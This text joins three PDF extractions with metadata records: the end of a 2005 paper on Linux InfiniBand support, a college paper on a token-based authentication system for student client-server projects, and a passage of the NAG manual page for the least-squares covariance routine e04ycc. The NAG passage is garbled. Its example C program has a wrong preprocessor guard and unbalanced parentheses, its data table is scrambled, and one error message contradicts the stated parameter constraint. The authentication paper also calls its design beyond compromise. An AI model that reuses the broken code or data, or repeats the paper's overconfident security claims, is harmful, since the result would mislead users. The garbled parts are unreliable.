As the userspace infrastructure is still under construction, it has not yet been incorporated into the main kernel tree, but it is expected to be submitted to lkml in the near future. People that want get early access to the code can download it from the InfiniBand subversion development tree available from openib.org.
## 9 Acknowledgments
We would like to acknowledge the United States Department of Energy for their fund-
ing of InfiniBand open source work and for their computing resources used to host the openib.org web site and subversion data base. We would also like to acknowledge the DOE for their work in scale-up testing of the InfiniBand code using their large clusters.
We would also like to acknowledge all of the companies of the openib.org alliance that have applied resources to the openib.org InfiniBand open source project.
Finally we would like the acknowledge the help of all the individuals in the Linux community that have submitted patches, provided code reviews, and helped with testing to ensure the InfiniBand code is stable.
10 Availability
The latest stable release of the InfiniBand code is available in the Linux releases (starting in 2.6.11) available from kernel.org.
ftp://kernel.org/pub
For those that want to track the latest InfiniBand development tree, it is located in a subversion database at openib.org.
svn checkout
https://openib.org/svn/gen2
References
http://www.ibta.org
[SDP] The SDP driver, developed by Libor Michalek
http://www.openib.org
[IPMI] Intelligent Platform Management Interface
http://developer.intel.com
[SNMP] Simple Network Management Protocol
http://www.ietf.org
http://www.linuxjournal.com
Conference Organizers
Andrew J. Hutton, *Steamballoon, Inc.*
C. Craig Ross, *Linux Symposium*
Stephanie Donovan, *Linux Symposium*
Review Committee
Gerrit Huizenga, *IBM*
Matthew Wilcox, *HP*
Dirk Hohndel, *Intel*
Val Henson, *Sun Microsystems*
Jamal Hadi Salimi, *Znyx*
Matt Domsch, *Dell*
Andrew Hutton, *Steamballoon, Inc.*
Proceedings Formatting Team
John W. Lockhart, *Red Hat, Inc.*
Authors retain copyright to all submitted papers, but have granted unlimited redistribution rights to all as a condition of submission.
|
{"Source-Url": "https://www.kernel.org/doc/ols/2005/ols2005v2-pages-279-290.pdf", "len_cl100k_base": 7354, "olmocr-version": "0.1.51", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 33144, "total-output-tokens": 8158, "length": "2e12", "weborganizer": {"__label__adult": 0.0003609657287597656, "__label__art_design": 0.0003795623779296875, "__label__crime_law": 0.00030231475830078125, "__label__education_jobs": 0.0004496574401855469, "__label__entertainment": 0.00011795759201049803, "__label__fashion_beauty": 0.00016224384307861328, "__label__finance_business": 0.00032401084899902344, "__label__food_dining": 0.0003352165222167969, "__label__games": 0.0007748603820800781, "__label__hardware": 0.0158843994140625, "__label__health": 0.0005035400390625, "__label__history": 0.00029754638671875, "__label__home_hobbies": 0.00015306472778320312, "__label__industrial": 0.0007691383361816406, "__label__literature": 0.00017333030700683594, "__label__politics": 0.0002244710922241211, "__label__religion": 0.0005421638488769531, "__label__science_tech": 0.1680908203125, "__label__social_life": 7.241964340209961e-05, "__label__software": 0.046661376953125, "__label__software_dev": 0.76220703125, "__label__sports_fitness": 0.0003254413604736328, "__label__transportation": 0.0007815361022949219, "__label__travel": 0.0002543926239013672}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 32559, 0.00559]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 32559, 0.46821]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 32559, 0.87918]], "google_gemma-3-12b-it_contains_pii": [[0, 2375, false], [2375, 5100, null], [5100, 8125, null], [8125, 11346, null], [11346, 13977, null], [13977, 16753, null], [16753, 19402, null], [19402, 21999, null], [21999, 24985, null], [24985, 27817, null], [27817, 30665, null], [30665, 32029, null], [32029, 32029, null], [32029, 32559, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2375, true], [2375, 5100, null], [5100, 8125, null], [8125, 11346, null], [11346, 13977, null], [13977, 16753, null], [16753, 19402, null], [19402, 21999, null], [21999, 24985, null], [24985, 27817, null], [27817, 30665, null], [30665, 32029, null], [32029, 32029, null], [32029, 32559, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 32559, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 32559, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 32559, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 32559, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 32559, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 32559, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 32559, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 32559, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 32559, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 32559, null]], "pdf_page_numbers": [[0, 2375, 1], [2375, 5100, 2], [5100, 8125, 3], [8125, 11346, 4], [11346, 13977, 5], [13977, 16753, 6], [16753, 19402, 7], [19402, 21999, 8], [21999, 24985, 9], [24985, 27817, 10], [27817, 30665, 11], [30665, 32029, 12], [32029, 32029, 13], [32029, 32559, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 32559, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-03
|
2024-12-03
|
964442f06bf0dae0e9ea8cf3c9784622913da054
|
An Authentication System for Student and Faculty Projects
Aubrey Barnard
Computer Science
St. Olaf College
barnard@stolaf.edu
Richard Brown
Computer Science
St. Olaf College
rab@stolaf.edu
Theodore Johnson
Computer Science
St. Olaf College
johnsotm@stolaf.edu
Abstract
This paper describes the objectives and features of an authentication system that was developed at St. Olaf College for use with student and other programming projects. The system authenticates a user, a client, and a server that are part of client-server software. The system uses SSL, authentication tokens, and features advantages such as reusability, ease of use and integration, and complete security. Since the user login is a separate component, the system does not need to address the technical and ethical issues of authenticating users. This is one of the many features of the system that make it appropriate to student and faculty projects.
Introduction
Security is a large concern at the forefront of today's computing world, one that grows larger every year. In a computing world that constantly deals with private information such as financial transactions and important correspondence, security becomes essential. Unfortunately, implementing and administering good security is difficult, and consequently people address the issue poorly or not at all. In today's world, success in security calls for thorough consideration from the very beginning of any project.
As the first step in a class programming project for a course in client-server applications, we developed an authentication system to support the network security needs of the project. Such a system was important to build because it does more than satisfy the needs of our project; it paves the way for incorporating quality authentication systems into any project. Our system integrates with the standard web authentication system on campus. This provides benefits such as: a user only needs one password to access all campus services, including those services created as student projects; the system requires only minimal maintenance by the campus computing services administrators; and project programmers never see or have access to passwords. A description and explanation of this authentication system follows.
The authentication system exists as a Java package that produces a secure and authenticated network connection. That package essentially adds a layer of security over existing Java sockets, providing an encrypted network connection with mutual authentication at each end of that connection. This authentication system can easily expand to support languages other than Java, and its design accommodates its reuse as part of many projects.
To get us started together, here are some definitions. Computer security is protecting the information in a computer. There are three main aspects to protecting computerized information (Russel and Gangemi, 1991, pp. 8-9). The most widely considered aspect is secrecy or confidentiality. This is keeping your information to yourself. There is accuracy or integrity, which means that your information is true and stays that way. Finally, there is availability or reliability, which means that your computer can do the work you give it when you want it done, without interference. Authentication is proving your identity. Authentication provides confidentiality and accuracy, and can help availability by preventing unauthenticated users from using (attacking) your computer. Because it addresses these three aspects, authentication is one of the most important goals in computer security.
Motivating Context
As the programming project for a course in client-server applications at St. Olaf College during fall semester of 2003, a team of students designed and built a piece of software
that enables students to plan and track their progress in programs of study, such as majors. This software processes sensitive personal data like registration information, student identification numbers, and grades, thus raising privacy concerns and creating the need for an authentication system. Such a system would need to identify and authenticate students, advisers, program directors, and any other users of the system before granting them access to any private information. It also needs to ensure the security and integrity of the network connection for the duration of the communication. The system can then transmit data reliably, without intentional or unintentional interference. Therefore, we developed an authentication system to satisfy this security need.
Our system can satisfy the need for secure network connections in other software on campus. Since one can reuse our system for other projects, it has value beyond the scope of its original project. This was important to us as we designed the system, and motivated a design that would make the system independent and reusable.
As programming projects become more practical and realistic, or are intended for actual use (as this one was), they will need to seriously address security needs. Real-world projects are great educational experiences, but they also need real-world solutions. The concern for security in today's computing world motivates the development of a reliable and reusable system for creating and maintaining secure, authenticated network connections. Ours is such a system.
**Objectives of the Authentication System**
The general objective of the authentication system is providing a user with access to private information in a piece of client-server software. The methods used to access and manipulate the information must protect the privacy of the information. This implies, among other things, that the information remains private while the software transmits it over the network, that users can only access information the privacy policy allows them to access, and that users prove their identity upon log in. One can break down these large-scale objectives into specific security requirements, which I explain below.
The authentication system should create and implement an authentication strategy that satisfies the following security requirements and goals.
The authentication system must be secure beyond a reasonable doubt. Naturally, this relies on assumptions about the security of underlying systems. (I cover these assumptions later.) Therefore, it should be implemented on top of protocols and strategies that are widely used and considered to be quite secure (e.g. SSL, RSA, HTTPS). Eliminating the doubt of underlying systems, by investigating them, reimplementing them, or otherwise, would certainly be impractical, and probably impossible, so we will have to make assumptions about them. Actually, the crux of this issue is how much security we will be satisfied to have for the cost we are willing to pay.
For the system to be secure beyond a reasonable doubt, we must deem it secure when we think carefully about the security of the system. That is, we cannot think of any security holes in the system. To support this, the system should have a clean conceptual model, one that makes it easy to think about the security of the system. Ideally, the system should be provably secure. In part, this depends on being able to formalize the function of the system (simply and concisely enough) so that we can logically and mathematically prove it secure. This would eliminate any doubt about the security of the system. Any other doubt would then concern the layers on top of which the authentication system is implemented.
An important goal of the authentication system implementation is that it be reusable. One should be able to easily integrate the system into any project that needs secure network communications. This reusability should be available without administrative intervention or assistance after the initial setup, which means that the parts of the system requiring administration should be independent of the parts that projects will reuse. Student and non-student projects on (and possibly off) campus should be able to reuse the system without modifications. Reusable software is not just a convenience, it actually helps improve security. Reuse of code is a fundamental software paradigm because it avoids the effort and hazards of reinventing and reimplementing existing systems. A single reusable, reliable, easy-to-use, trusted way of authenticating reduces the effort of everybody implementing their own security, and more importantly lessens the chance of varied and independent security implementations each having their own security flaws. With one piece of reusable software the effort and bugs are consolidated. Also, everybody who might otherwise be working on competing solutions, can work together to develop one solution, and consequently do it really well, much better than anyone could do it individually. This approach will help make the authentication project successful.
This authentication system must authenticate three entities, the user, the client, and the server. Each actor in the system must be identified and authenticated, because one cannot blindly trust a network connection. Threats can easily sniff or otherwise manipulate network traffic, possibly leading to security vulnerabilities. Consequently, the system must secure network connections before it transmits valuable, private data. The system must ensure that threats cannot impersonate a legitimate actor by securing the network connections and authenticating each actor. This is the essence of the authentication system, and the basis for secure network communications.
A practical objective of the system is that it be appropriate to student programming. If students will use the system as part of their projects, then it should support student programming as much as possible. There are two main parts to this objective. First, the system should have an API, documentation, and an implementation that supports student use. This is especially important for students who are learning about networking and computer security. Second, there are ethical issues to consider when students deal with the passwords that authenticate the users. Basically, students should never have access to a password. Students probably could be trusted with passwords when in a contained
situation. However, the misuse of passwords is not a risk that we want to take. Likewise, students should not program any code that handles passwords. Code that handles passwords would be very crucial, and would require extensive verification by the faculty member in charge of the project. This unnecessarily consumes the time of the students and professor. More importantly, having students program code that handles passwords gives the students the opportunity to insert code mechanisms to steal passwords or otherwise subvert the system. Therefore, keeping student code and involvement entirely separate from the password verification process is a decision that benefits security, validity, and reliability.
Another objective of the system is that its authentication should rely on a single, trusted authenticator. That is, a system with a good security history that already performs authentication should perform the authentication for our system. Reliance on a trusted authenticator is partly a consequence of the decision to make passwords inaccessible to students, since someone other than the students has to process the passwords. This sounds like it would be an inconvenience, but it actually makes the system much simpler and more secure. Using a trusted authenticator is an advantage because it means that there will be only one, central source of passwords. Just as students can reuse the security package for different projects, everybody can reuse their passwords as well. There is also the advantage of using existing mechanisms and policies that are the responsibility of the trusted authenticator. These include password services such as password authentication, screening new passwords to ensure their security, password expiration, and other aspects of password management, like changing your password. Essentially, having one entity that processes all the passwords follows the programming paradigm of software reuse, and has the corresponding benefits.
The last objective of the authentication system is that it should use the actual UNIX passwords that the students and faculty use on campus. This ties in with the benefits and use of a single, trusted authenticator. It also provides compatibility with other college services such as e-mail and student records, thus providing a convenience to students and faculty. It avoids the ethical and technical issues of having new passwords for each campus service. For example, having many passwords for many services places undue burden on the user to remember all the passwords. In turn, the users are then more likely to repeat or forget passwords, which decreases security. Another ethical and technical issue is how to store and process passwords securely for each new system. Only the trusted authenticator needs to address these issues if each system uses the campus UNIX passwords and relies on the trusted authenticator for password services.
Besides these technical requirements, there are implementation goals, namely implementing the authentication system at St. Olaf College or any other college. One must communicate and cooperate with the computing services of the college, if they are to be the trusted authenticator. There are also the issues of publicity, availability, distribution, and maintenance. The system must be publicized so that people will know about it, and can choose to use it with projects. Then, we must make it available through a system of distribution so that the interested people can use it. Also, there must be
people willing to work once in a while to maintain the system. These issues may seem more like logistic concerns than objectives, but they are necessary to the success of the system, nonetheless.
**The Authentication System**
*Assumptions Underlying the Authentication System*
In order for the authentication system to be secure beyond a reasonable doubt, we must assume certain things about the security of the underlying systems on which the authentication system relies. If these security assumptions do not hold, the security of our system is in jeopardy.
- First, the integrity of the hardware is important. There must be physical security of the computing and networking hardware. The computers and network must also be reliable.
- The operating system must have integrity, particularly to ensure that a threat cannot compromise the administrative accounts (e.g. root), and gain control of the operating system.
- We assume that a threat cannot hijack a socket. This relies on the integrity of the operating system. This assumption allows us to trust a single socket connection for the duration of the client-server interaction without reverifying the connection at any point.
- We assume that SSL provides adequate protection against someone snooping or hijacking the network connection.
- We assume that we can indeed trust the trusted authenticator. It is especially important that nobody can compromise the trusted authenticator, since our authentication relies on the integrity of the system introducing the client and server.
- We trust that the underlying protocols (TCP/IP, Ethernet, etc.) and their implementations are secure, at least secure enough for our purposes. We encrypt the network connection, but it is still possible to sniff packets and learn about the behaviors of the network even if the contents of the packets cannot be read. However, every network is vulnerable to varieties of low-level packet interference, and so we assume that this will not be a problem, since the higher-level protocols ensure proper packet transmission. (Cheswick, Bellovin, and Rubin, 2003, pp. 19-21)
- We also trust that using a user name and password to identify and authenticate a user is a sufficiently secure method of authentication.
With these assumptions in place, we are confident that our system is secure beyond a reasonable doubt, and that we have considered all the possible security flaws.
Description
The following is a description of the authentication system we developed to solve our authentication needs. There are basically three parts to the system: the trusted authenticator; the client; and the server. For the general idea of how the system works, consider introductions at a party. The host(ess) introduces two new guests to each other, and since both of the guests trust the host(ess), they trust that they have been properly introduced. Figure 1 shows the parts of the system.
The first thing a user will encounter when using the system is a web page that introduces them to the system and asks for a user name and password. All further authentication relies on this login, and assumes that the user has logged in successfully. The web page will securely transmit, using HTTPS, the user name and password to the trusted authenticator.
The main responsibility of the trusted authenticator is to process passwords, and authenticate users when they log in. It also must generate and store authentication tokens and provide the client to the user. To do this, it will run a CGI script that receives and processes the information from the user login page. The script authenticates the user, and, if that is successful, then generates a session identification number (ID), and two long random numbers, authentication tokens for the client and server. It stores these numbers in a database, so that the server can access them. The trusted authenticator accesses the database over a secure connection, and uses a transaction to ensure the database operation was successful. Then, it returns a secure web page with the client embedded as an applet. The returned web page contains the session ID and
authentication tokens as arguments to the applet. The client starts in the user's browser, beginning the process of client and server verification.
Once the user logs in, and the system confirms their identity, the client and server must verify each other's identity. The client starts this process by making a secure network connection to the server over an SSL socket. This socket connection is the single connection created between the client and the server for the duration of the client process. This reuse of a single socket connection eliminates the need to verify future network connections because there is only ever one connection. Once the network connection is in place, the client sends the session ID and its authentication token to the server. The server uses the session ID to retrieve authentication tokens of itself and the client from the database, using a secure connection. The server immediately erases this information from the database so that it can only be used once. The server conducts the retrieval and deletion of the tokens as a transaction so that the operation is failsafe. At this point, both the client and the server know what each other should present as their authentication token. The server verifies the token the client sent against the one it retrieved from the database. If this is not successful, the server terminates the connection. Otherwise, the server sends its token to the client. The client verifies the server's token against the one it received as an argument. If this fails, the client terminates the connection. Otherwise, the client sends an acknowledgment that all verification is successful and complete, and that they (the client and server) can start communicating to accomplish the intentions of the program.
Consider the summary of the authentication process shown in Figure 2. In step 1, a user logs in using the login web page. In step 2, the trusted authenticator generates and stores
the authentication tokens. In step 3, the trusted authenticator sends the user the web page that starts the client in the user's browser. In step 4, the client makes a connection to the server, sending its token. In step 5, the server retrieves the authentication tokens from the database. In step 6, the server verifies the client's token and sends its own token to the client. In step 7, the client verifies the server's token, and sends a message to the server saying that they are ready to communicate.
This system satisfies all the security objectives mentioned above. It is reusable because the package provides networking just like many other APIs. This networking hides the client-server verification process. Also, in the case of St. Olaf College, the web login interface already exists for other services, and the login processing script fits seamlessly into the existing user authentication process. The system clearly authenticates the user, the client, and the server, and does so in a way that cannot be compromised. The package is appropriate to student programming and future projects because it provides a standard networking API, and has good documentation. The system itself does not process any passwords, leaving this responsibility to the trusted authenticator. The system uses actual UNIX passwords, and shares the benefits of the other services that the trusted authenticator provides.
**The Software Package**
The authentication system consists of a software package written in Java that is a substitute for regular Java networking packages. The name of the package is SecureVerifiedSocket, and it contains the classes SVClientSocket, SVServerSocket, and two exceptions that signify verification failure on the server side and client side. These classes provide the programmer with comprehensive network functionality, and can be used just like any other Java sockets. To use the package, simply replace the existing client and server sockets with the versions from the package. There is also a Perl script that the trusted authenticator runs to generate and store the session ID and the client and server authentication tokens. This script also starts the client applet. Although the system requires some other components in order to work as described, these are the core components needed to use our authentication system as part of a project.
There are a few components we do not include in our package, but are necessary to using our authentication system as part of a project. There needs to be a web page, or some other mechanism, that allows a user to log in. The package does not include this because such a piece is specific to the trusted authenticator and the system in which it will be used. In our case, the campus computing services provide such a web page and login service. The package does not include a database or database driver, as these components would be highly impractical to include. However, one can easily modify the package to use an SQL database of your choice, simply by specifying the appropriate driver. Although it would be beneficial to student programming, the package does not include
prototypes for the client or server. We assume that a student using our system will already be familiar with networking.
The Future of the System
This system is in its infancy. In the future, we hope to provide support for languages other than Java as well as support for other databases. We would like to be able to support all the varying types of encryption so that a programmer could choose which method suits their project best.
We would also like to create a formal analysis of the authentication system, and try to prove it is correct and secure. We feel that this would not only be a beneficial academic exercise to further understand security and our system, but it would be an asset to the success our system.
Conclusion
I have described to you an authentication system for use with campus student projects, a system that has value within and beyond the campus due to its quality and reusability. Whether you consider appropriateness for student projects, integration with existing campus authentication and services, or the simple yet solid conceptual model, our authentication system is secure and easy to use. This is because it was designed from the beginning with security in mind, a necessary approach for it to be successful. While many modern systems have poor security patched on as an afterthought, we are confident that our system is a step in the right direction in a world of ever increasing security concerns.
References
Acknowledgments
I would like to acknowledge the help and cooperation of the Information and Instructional Technologies at St. Olaf College, especially Robert Breid. They helped us understand certain security issues and agreed to act as our trusted authenticator.
|
{"Source-Url": "http://www.micsymposium.org/mics_2004/Barnard.pdf", "len_cl100k_base": 4569, "olmocr-version": "0.1.49", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 21329, "total-output-tokens": 5077, "length": "2e12", "weborganizer": {"__label__adult": 0.00036215782165527344, "__label__art_design": 0.00034117698669433594, "__label__crime_law": 0.00087738037109375, "__label__education_jobs": 0.0030918121337890625, "__label__entertainment": 5.519390106201172e-05, "__label__fashion_beauty": 0.0001533031463623047, "__label__finance_business": 0.00034046173095703125, "__label__food_dining": 0.00031375885009765625, "__label__games": 0.0004627704620361328, "__label__hardware": 0.0019969940185546875, "__label__health": 0.0006337165832519531, "__label__history": 0.00017440319061279297, "__label__home_hobbies": 0.0001220107078552246, "__label__industrial": 0.0003981590270996094, "__label__literature": 0.00022470951080322263, "__label__politics": 0.00016486644744873047, "__label__religion": 0.00036072731018066406, "__label__science_tech": 0.03790283203125, "__label__social_life": 0.00013458728790283203, "__label__software": 0.0185394287109375, "__label__software_dev": 0.9326171875, "__label__sports_fitness": 0.0002160072326660156, "__label__transportation": 0.0004456043243408203, "__label__travel": 0.0001595020294189453}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 25005, 0.00204]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 25005, 0.51252]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 25005, 0.93808]], "google_gemma-3-12b-it_contains_pii": [[0, 926, false], [926, 3798, null], [3798, 6821, null], [6821, 10288, null], [10288, 13810, null], [13810, 16226, null], [16226, 17942, null], [17942, 19895, null], [19895, 23046, null], [23046, 24485, null], [24485, 25005, null]], "google_gemma-3-12b-it_is_public_document": [[0, 926, true], [926, 3798, null], [3798, 6821, null], [6821, 10288, null], [10288, 13810, null], [13810, 16226, null], [16226, 17942, null], [17942, 19895, null], [19895, 23046, null], [23046, 24485, null], [24485, 25005, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 25005, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 25005, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 25005, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 25005, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 25005, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 25005, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 25005, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 25005, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 25005, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 25005, null]], "pdf_page_numbers": [[0, 926, 1], [926, 3798, 2], [3798, 6821, 3], [6821, 10288, 4], [10288, 13810, 5], [13810, 16226, 6], [16226, 17942, 7], [17942, 19895, 8], [19895, 23046, 9], [23046, 24485, 10], [24485, 25005, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 25005, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
9fabb8dfa715d93da80278034fb592d07655a89a
|
NAG Library Function Document
nag_opt_lsq_covariance (e04ycc)
1 Purpose
nag_opt_lsq_covariance (e04ycc) returns estimates of elements of the variance-covariance matrix of the estimated regression coefficients for a nonlinear least squares problem. The estimates are derived from the Jacobian of the function \( f(x) \) at the solution.
nag_opt_lsq_covariance (e04ycc) may be used following either of the NAG C Library nonlinear least squares functions nag_opt_lsq_no_deriv (e04fcc), nag_opt_lsq_deriv (e04gbc).
2 Specification
```c
#include <nag.h>
#include <nage04.h>
void nag_opt_lsq_covariance (Integer job, Integer m, Integer n,
double fsumsq, double cj[], Nag_E04_Opt *options, NagError *fail)
```
3 Description
nag_opt_lsq_covariance (e04ycc) is intended for use when the nonlinear least squares function, \( F(x) = f^T(x)f(x) \), represents the goodness-of-fit of a nonlinear model to observed data. It assumes that the Hessian of \( F(x) \), at the solution, can be adequately approximated by \( 2J^TJ \), where \( J \) is the Jacobian of \( f(x) \) at the solution. The estimated variance-covariance matrix \( C \) is then given by
\[
C = \sigma^2 (J^TJ)^{-1} \quad J^TJ \text{ nonsingular},
\]
where \( \sigma^2 \) is the estimated variance of the residual at the solution, \( \bar{x} \), given by
\[
\sigma^2 = \frac{F(\bar{x})}{m - n},
\]
\( m \) being the number of observations and \( n \) the number of variables.
The diagonal elements of \( C \) are estimates of the variances of the estimated regression coefficients. See the e04 Chapter Introduction, Bard (1974) and Wolberg (1967) for further information on the use of the matrix \( C \).
When \( J^TJ \) is singular then \( C \) is taken to be
\[
C = \sigma^2 (J^TJ)^\dagger,
\]
where \( (J^TJ)^\dagger \) is the pseudo-inverse of \( J^TJ \), and \( \sigma^2 = \frac{F(\bar{x})}{m - k}, k = \text{rank}(J) \) but in this case the argument fail is returned with fail.Code = NW_LINDEPEND as a warning to you that \( J \) has linear dependencies in its columns. The assumed rank of \( J \) can be obtained from fail.errnum.
The function can be used to find either the diagonal elements of \( C \), or the elements of the \( j \)th column of \( C \), or the whole of \( C \).
nag_opt_lsq_covariance (e04ycc) must be preceded by one of the nonlinear least squares functions mentioned in Section 1, and requires the arguments fsumsq and options to be supplied by those functions. fsumsq is the residual sum of squares \( F(\bar{x}) \) while the structure options contains the members options->s and options->v which give the singular values and right singular vectors respectively in the singular value decomposition of \( J \).
5 Arguments
1: job – Integer
Input
On entry: indicates which elements of C are returned as follows:
- job = -1
The n by n symmetric matrix C is returned.
- job = 0
The diagonal elements of C are returned.
- job > 0
The elements of column job of C are returned.
Constraint: -1 ≤ job ≤ n.
2: m – Integer
Input
On entry: the number m of observations (residuals f_i(x)).
Constraint: m ≥ n.
3: n – Integer
Input
On entry: the number n of variables (x_j).
Constraint: 1 ≤ n ≤ m.
4: fsumsq – double
Input
On entry: the sum of squares of the residuals, F(\bar{x}), at the solution \bar{x}, as returned by the nonlinear least squares function.
Constraint: fsumsq ≥ 0.0.
5: cj[n] – double
Output
On exit: with job = 0, cj returns the n diagonal elements of C. With job = j > 0, cj returns the n elements of the jth column of C. When job = -1, cj is not referenced.
6: options – Nag_E04_Opt *
Input/Output
On entry/exit: the structure used in the call to the nonlinear least squares function. The following members are relevant to nag_opt_lsq_covariance (e04ycc), their values should not be altered between the call to the least squares function and the call to nag_opt_lsq_covariance (e04ycc).
s – double
Input
On entry: the pointer to the n singular values of the Jacobian as returned by the nonlinear least squares function.
v – double
Input/Output
On entry: the pointer to the n by n right-hand orthogonal matrix (the right singular vectors) of J as returned by the nonlinear least squares function.
On exit: when job ≥ 0 then v is unchanged.
When job = -1 then the leading n by n part of v is overwritten by the n by n matrix C. Matrix element i, j is held in v[(i-1) × tdv + j - 1] for i = 1, 2, . . . , n and j = 1, 2, . . . , n.
6 Error Indicators and Warnings
NE_2_INT_ARG_GT
On entry, \( \text{job} = \langle \text{value} \rangle \) while \( n = \langle \text{value} \rangle \). These arguments must satisfy \( \text{job} \leq n \).
NE_2_INT_ARG_LT
On entry, \( m = \langle \text{value} \rangle \) while \( n = \langle \text{value} \rangle \). These arguments must satisfy \( m \geq n \).
NE_INT_ARG_LT
On entry, \( \text{job} \) must not be less than 1: \( \text{job} = \langle \text{value} \rangle \).
On entry, \( n \) must not be less than 1: \( n = \langle \text{value} \rangle \).
NE_REAL_ARG_LT
On entry, \( fsumsq \) must not be less than 0.0: \( fsumsq = \langle \text{value} \rangle \).
NE_SINGULAR_VALUES
The singular values are all zero, so that at the solution the Jacobian matrix has rank 0.
NW_LIN_DEPEND
At the solution the Jacobian matrix contains linear, or near linear, dependencies amongst its columns. \( J \) assumed to have rank \( \langle \text{value} \rangle \).
In this case the required elements of \( C \) have still been computed based upon \( J \) having an assumed rank given by \( \text{fail.errnum} \). The rank is computed by regarding singular values \( \text{options.s}[j] \) that are not larger than \( 10 \epsilon \times \text{options.s}[0] \) as zero, where \( \epsilon \) is the machine precision (see \text{nag_machine_precision (X02AJC)}). If you expect near linear dependencies at the solution and are happy with this tolerance in determining rank you should not call \text{nag_opt_lsq_covariance (e04ycf)} with the null pointer \text{NAGERR_DEFAULT} as the argument \text{fail} but should specifically declare and initialize a NagError structure for the argument \text{fail}.
Overflow
If overflow occurs then either an element of \( C \) is very large, or the singular values or singular vectors have been incorrectly supplied.
7 Accuracy
The computed elements of \( C \) will be the exact covariances corresponding to a closely neighbouring Jacobian matrix \( J \).
8 Parallelism and Performance
Not applicable.
9 Further Comments
When $job = -1$ the time taken by the function is approximately proportional to $n^3$. When $job \geq 0$ the time taken by the function is approximately proportional to $n^2$.
10 Example
This example estimates the variance-covariance matrix $C$ for the least squares estimates of $x_1$, $x_2$ and $x_3$ in the model
$$y = x_1 + \frac{t_1}{x_2 t_2 + x_3 t_3}$$
using the 15 sets of data given in the following table:
<table>
<thead>
<tr>
<th>$y$</th>
<th>0.14</th>
<th>1.00</th>
<th>1.82</th>
<th>2.23</th>
<th>2.95</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.00</td>
<td>15.01</td>
<td>182.00</td>
<td>14.02</td>
<td>223.00</td>
<td>13.03</td>
</tr>
</tbody>
</table>
The program uses (0.5,1.0,1.5) as the initial guess at the position of the minimum and computes the least squares solution using nag_opt_lsq_no_deriv (e04fcc). Note that the structure options is initialized by nag_opt_init (e04xxc) before calling nag_opt_lsq_no_deriv (e04fcc). See the function documents for nag_opt_lsq_no_deriv (e04fcc), nag_opt_init (e04xxc) and nag_opt_free (e04xzc) for further information.
10.1 Program Text
```c
/* nag_opt_lsq_covariance (e04ycc) Example Program. */
*/
#include <nag.h>
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <nag_stdlib.h>
#include <nage04.h>
#ifndef __cplusplus
extern "C" {
#endif
static void NAG_CALL lsqfun(Integer m, Integer n, const double x[], double fvec[], Nag_Comm *comm);
#ifndef __cplusplus
}
#endif
/* Define a user structure template to store data in lsqfun */
struct user {
double *y;
double *t;
};
#define T(I, J) t[(I) *tdt + J]
int main(void) {
Integer exit_status = 0, i, j, job, m, n, nt, tdj, tdt;
NagError fail;
Nag_Comm comm;
Nag_E04_Opt options;
```
double *cj = 0, *fjac = 0, fsumsq, *fvec = 0, *x = 0;
struct user s;
INIT_FAIL(fail);
s.y = 0;
s.t = 0;
printf("nag_opt_lsq_covariance (e04ycc) Example Program Results\n");
#ifdef _WIN32
scanf_s(" %*[\n"]); /* Skip heading in data file */
#else
scanf(" %*[\n"]); /* Skip heading in data file */
#endif
n=3;
m = 15;
nt = 3;
if (n >= 1 && n <= m) {
if (!fjac = NAG_ALLOC(m*n, double)) ||
!fvec = NAG_ALLOC(m, double) ||
!x = NAG_ALLOC(n, double)) ||
!cj = NAG_ALLOC(n, double)) ||
!s.y = NAG_ALLOC(m, double)) ||
!s.t = NAG_ALLOC(m*nt, double))
{
printf("Allocation failure\n");
exit_status = -1;
goto END;
}
tdj = n;
tdt = nt;
} else
{
printf("Invalid n or m.\n");
exit_status = 1;
return exit_status;
}
/* Read data into structure. *
